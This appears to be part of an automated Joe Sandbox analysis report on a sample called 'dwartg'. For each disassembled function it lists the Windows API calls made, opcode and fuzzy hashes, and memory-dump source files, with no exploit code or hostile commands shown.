API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: ecab868255bb0af639ec4e949942e9c6b4c117b148877fe0e001afcc079d839f
Instruction ID: b103f32d4360cbaba7d80a98e49fc41b5285a7f55890ebd7174dfc033e8e5156
Opcode Fuzzy Hash: ecab868255bb0af639ec4e949942e9c6b4c117b148877fe0e001afcc079d839f
Instruction Fuzzy Hash: 7A512370E002459EDB248F75C8C56BABBF4EF41300F1844AED4968B262D73DEE458F90

Uniqueness

Uniqueness Score: -1.00%

Function 00729A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00729A50,?,?,00000000,?,?,00728CBC,?), ref: 00729BAB
GetLastError.KERNEL32(?,00000000,00728411,-00009570,00000000,000007F3), ref: 00729BB6

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f02fbe06cf6c8ed93969910aa2e928e58ee7a08e533afc07f5784c2431702729
Instruction ID: 4b3857737dd17f2a3eadb6bbc78d664c74ec5593d7e261864ce8b88e254c7fd9
Opcode Fuzzy Hash: f02fbe06cf6c8ed93969910aa2e928e58ee7a08e533afc07f5784c2431702729
Instruction Fuzzy Hash: F941D1B1904321CFDB24DF15F58486AB7E6FFD4311F1C8A2DEA8583261E778ED448A91

Uniqueness

Uniqueness Score: -1.00%

Function 00721E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00721E55

Part of subcall function 00723BBA: __EH_prolog.LIBCMT ref: 00723BBF

_wcslen.LIBCMT ref: 00721EFD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 45e51e5f34de8277eb9a6336f02b1e8ba458b238469c5cc14071293aba32de38
Instruction ID: 692a5524c0d33b40eb7aa5c8425a48b3b745eb9bc3f35b67fd4eb69f46346cf4
Opcode Fuzzy Hash: 45e51e5f34de8277eb9a6336f02b1e8ba458b238469c5cc14071293aba32de38
Instruction Fuzzy Hash: DB314B71905219DFDF15EF98D949AEEFBF6BF58300F6000A9E845A7251C73A5E00CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00729DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,007273BC,?,?,?,00000000), ref: 00729DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00729E70

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 0b73550bd56c1d18e36d8a654be4223404e7cdc20ec4cf651f54da2d3016ca21
Instruction ID: 1a62628f1d2138f256cb8baf570309c8cac28b204b3236b824cf2ea2b52cc20d
Opcode Fuzzy Hash: 0b73550bd56c1d18e36d8a654be4223404e7cdc20ec4cf651f54da2d3016ca21
Instruction Fuzzy Hash: AB21F032248355EBC714CF34D891AABBBE4AF51704F08481CF5C583581D32DE90C9BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0072966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00729F27,?,?,0072771A), ref: 007296E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00729F27,?,?,0072771A), ref: 00729716

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3cdfc3c47ebc03612955d3804147d4fb20b9869d40edd695e8c18e38c3a0cb11
Instruction ID: c84dbc25079a832fa0836633e22bae32a3f15d0f53cfab400dc5f2c142a5713c
Opcode Fuzzy Hash: 3cdfc3c47ebc03612955d3804147d4fb20b9869d40edd695e8c18e38c3a0cb11
Instruction Fuzzy Hash: 5C21BDB1104354AEE3708A65DC89FA7B7DCEB49360F044A19FA96C65D2C7B8A8848671

Uniqueness

Uniqueness Score: -1.00%

Function 00729E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00729EC7
GetLastError.KERNEL32 ref: 00729ED4

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 1e1cb210f5438271c5e599c493c24d116fa7fc034e8f99bb22c23a8efa7970ed
Instruction ID: cf141fb33ffae7d850fe4ec17f7c908652f3c4040b1b4cfeec97c52057153dec
Opcode Fuzzy Hash: 1e1cb210f5438271c5e599c493c24d116fa7fc034e8f99bb22c23a8efa7970ed
Instruction Fuzzy Hash: A8112931A003209BD724C624D844BA6B3E9AB04370F584A29E653D25D0D378ED45C760

Uniqueness

Uniqueness Score: -1.00%

Function 00748E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00748E75

Part of subcall function 00748E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0074CA2C,00000000,?,00746CBE,?,00000008,?,007491E0,?,?,?), ref: 00748E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00761098,007217CE,?,?,00000007,?,?,?,007213D6,?,00000000), ref: 00748EB1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: d372a2e416fe9b1a284e8acee61186fb4302517586423626e33fd9343b404cdd
Instruction ID: 08ca70a93ca3b49293cb8b3aca65591e495ada77a9327a0cfc1887a2d15971e9
Opcode Fuzzy Hash: d372a2e416fe9b1a284e8acee61186fb4302517586423626e33fd9343b404cdd
Instruction Fuzzy Hash: 10F0F63270123DE6CBA12A259C08F6F37588F82B70F244126F814AB1A1DF7DCD0081A3

Uniqueness

Uniqueness Score: -1.00%

Function 0073109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 007310AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 007310B2

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 49412f6b15881320ed40e33c493424f1d42613377587cd579cfef6e7d1ae9e26
Instruction ID: 41b39563e812a990cc8248ee986de164608fe688eda5700eb684c3d579a8af07
Opcode Fuzzy Hash: 49412f6b15881320ed40e33c493424f1d42613377587cd579cfef6e7d1ae9e26
Instruction Fuzzy Hash: 7AE0D833B00249A7DF0D87B49C059EB73DEEA44345B508175E407E7102F978DE418A60

Uniqueness

Uniqueness Score: -1.00%

Function 0072A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0072A325,?,?,?,0072A175,?,00000001,00000000,?,?), ref: 0072A501

Part of subcall function 0072BB03: _wcslen.LIBCMT ref: 0072BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0072A325,?,?,?,0072A175,?,00000001,00000000,?,?), ref: 0072A532

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: c614252f9e8cc74008ebbc67e5c6c9f94d1a0ea71fddd3ac1f9d74b03b08ec09
Instruction ID: cba96f5776b4c33538940a56fe0a7accbad1e3d2c4d9cc82b31a9c2d31e0c5fe
Opcode Fuzzy Hash: c614252f9e8cc74008ebbc67e5c6c9f94d1a0ea71fddd3ac1f9d74b03b08ec09
Instruction Fuzzy Hash: 44F03031240319BBDF025F61EC45FDA376DAB04385F448451B949D51A0DB75DA94DA50

Uniqueness

Uniqueness Score: -1.00%

Function 0072A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0072977F,?,?,007295CF,?,?,?,?,?,00752641,000000FF), ref: 0072A1F1

Part of subcall function 0072BB03: _wcslen.LIBCMT ref: 0072BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0072977F,?,?,007295CF,?,?,?,?,?,00752641), ref: 0072A21F

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: f46e8a7bfd2712bca5d3abd9d827f131963617eb37aaf9290405b5f8e1929f3b
Instruction ID: 79aaabc7f9f9e2ce148925b8ea89e277b2d254c419d97f9ebd9abcb2c3301f4f
Opcode Fuzzy Hash: f46e8a7bfd2712bca5d3abd9d827f131963617eb37aaf9290405b5f8e1929f3b
Instruction Fuzzy Hash: E3E09271140319BBEB015F60EC45FE9379CBB083C2F488021B948D20A0EB6ADE84DA64

Uniqueness

Uniqueness Score: -1.00%

Function 0073AC7C Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00752641,000000FF), ref: 0073ACB0
OleUninitialize.OLE32(?,?,?,?,00752641,000000FF), ref: 0073ACB5

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: eb2b9a54fc29aa3b98b1fd11e3744021618468e749974aef49012dd9c0516a77
Instruction ID: 9034b1d9ab03e654113798994393d5fdc73ed9380af6dd4dabee27f42cd21f46
Opcode Fuzzy Hash: eb2b9a54fc29aa3b98b1fd11e3744021618468e749974aef49012dd9c0516a77
Instruction Fuzzy Hash: 16E06572544A50EFC7019F5DDC46B45FBA8FB48F61F104365F416D3BA1CB786801CA94

Uniqueness

Uniqueness Score: -1.00%

Function 0072A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0072A23A,?,0072755C,?,?,?,?), ref: 0072A254

Part of subcall function 0072BB03: _wcslen.LIBCMT ref: 0072BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0072A23A,?,0072755C,?,?,?,?), ref: 0072A280

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 601ed5c7c0d26c8c25ca94987f67d76d46da0b16703cd388c6548fd323f8274d
Instruction ID: 5ae3e1a2b0fb63d4201c8e6269cadd76eb00de1bedcd54b7dc5bbef19a03d272
Opcode Fuzzy Hash: 601ed5c7c0d26c8c25ca94987f67d76d46da0b16703cd388c6548fd323f8274d
Instruction Fuzzy Hash: 3EE09271500224ABCB10AB64DC09BD97798AB083E2F048261FD48E31E0D778DE44CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0073DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0073DEEC

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

SetDlgItemTextW.USER32(00000065,?), ref: 0073DF03

Part of subcall function 0073B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0073B579
Part of subcall function 0073B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0073B58A
Part of subcall function 0073B568: IsDialogMessageW.USER32(000104AA,?), ref: 0073B59E
Part of subcall function 0073B568: TranslateMessage.USER32(?), ref: 0073B5AC
Part of subcall function 0073B568: DispatchMessageW.USER32(?), ref: 0073B5B6

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 5d23a27a2beb18cda777c4115fc134e3ec6e8877686bcce1213a946570073134
Instruction ID: e9d2e10288ea8dccf6c52e76392594baebec2e8de8f0c5d20bee98c4a891d019
Opcode Fuzzy Hash: 5d23a27a2beb18cda777c4115fc134e3ec6e8877686bcce1213a946570073134
Instruction Fuzzy Hash: F0E09BB140035866EF11AB65DC0EF9E3B6C5B05785F044551B601DA0E3D97CD6508766

Uniqueness

Uniqueness Score: -1.00%

Function 0073081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00730836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0072F2D8,Crypt32.dll,00000000,0072F35C,?,?,0072F33E,?,?,?), ref: 00730858

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 6ca5108a91eea07a47f6ee6ef45d7a28f66b1f743378966ae3b7211152f36c85
Instruction ID: 562adc55722b91d9543348f7443dad170f70e5512cd24207f1d78248e56db58e
Opcode Fuzzy Hash: 6ca5108a91eea07a47f6ee6ef45d7a28f66b1f743378966ae3b7211152f36c85
Instruction Fuzzy Hash: F9E048B6500228ABDB11A795DC09FDA77ACEF093D2F044065B649D2055DABCDA84CBF4

Uniqueness

Uniqueness Score: -1.00%

Function 0073A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0073A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0073A3E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 2eb21c46ee51cfbce03a22da80308ab781c0abaa722f3c536278f6a3588dbffd
Instruction ID: 79b2f97575f0c769d339684886a3dc9e9dbe802d70e90130bb9bc2ad6ee4fed9
Opcode Fuzzy Hash: 2eb21c46ee51cfbce03a22da80308ab781c0abaa722f3c536278f6a3588dbffd
Instruction Fuzzy Hash: 8CE0EDB2900218EBDB10DF55C545B9DBBE8EB14365F10845AA88693242E3B8AE44DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00742B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00742BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00742BB5

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 07dc4bd2ea21ae8b26f7764305f406a54f10f3b91b4a8a46ca0b2e8084df71ae
Instruction ID: 0097eedb81c52abda02b9db1d8669125511a8d37facbb348df11c2f0539a3149
Opcode Fuzzy Hash: 07dc4bd2ea21ae8b26f7764305f406a54f10f3b91b4a8a46ca0b2e8084df71ae
Instruction Fuzzy Hash: F9D0A7F4694300944C542E70390A4642745DD417757E04696F430858C3FB5C8053D119

Uniqueness

Uniqueness Score: -1.00%

Function 007212F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00721306
ShowWindow.USER32(00000000), ref: 0072130D

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 4f4ee27aa5e4233efba1266e91e945473e5286fed5ea5ad50ba186147f2b7bd9
Instruction ID: b8ea51faebf2f2b7fbe60df07771f5797faff18ec391fdef41ea2cf9635917d1
Opcode Fuzzy Hash: 4f4ee27aa5e4233efba1266e91e945473e5286fed5ea5ad50ba186147f2b7bd9
Instruction Fuzzy Hash: 6DC0123289C608BECB010BB8DC0DC2BBBA8ABA5B12F24C908B0A5C0060E23CC110DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00721A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00721A09

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
